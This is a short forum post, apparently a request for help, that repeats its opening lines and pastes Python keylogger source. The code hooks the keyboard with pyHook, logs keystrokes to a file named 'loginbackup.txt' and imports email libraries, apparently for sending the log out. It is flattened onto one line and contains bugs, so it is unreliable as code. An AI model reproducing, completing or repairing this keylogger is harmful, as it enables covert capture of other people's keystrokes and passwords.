Okay.
Problems solved.
But I have new problem.
![[Image: zxvk]](https://ctrlv.cz/zxvk)
Changed code here:
Problems solved.
But I have new problem.
Changed code here:
# -*- coding: utf-8 -*- import pyHook import pythoncom import sys from threading import Thread import time import utils import smtplib import base64 from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import re # global parameters started = False keylog = "" current_window = "" filename = "loginbackup.txt" with open(filename, "w+") as f: f.write("Hello! Protocol records:") def OnKeyPress(event): global current_window global keylog global file key = "" if event.Ascii == 8: key = '[Backspace]' elif event.Ascii == 13: key = '\n' elif event.Ascii == 27: key = '[ESC]' elif event.Ascii: key = chr(event.Ascii) else: keylog += key if len(keylog) == 40: f.open(filename, "a") f.write("\n\n") f.write(keylog) f.close() new_hook = pyHook.HookManager() new_hook.KeyDown = OnKeyPress new_hook.HookKeyboard() pythoncom.PumpMessages()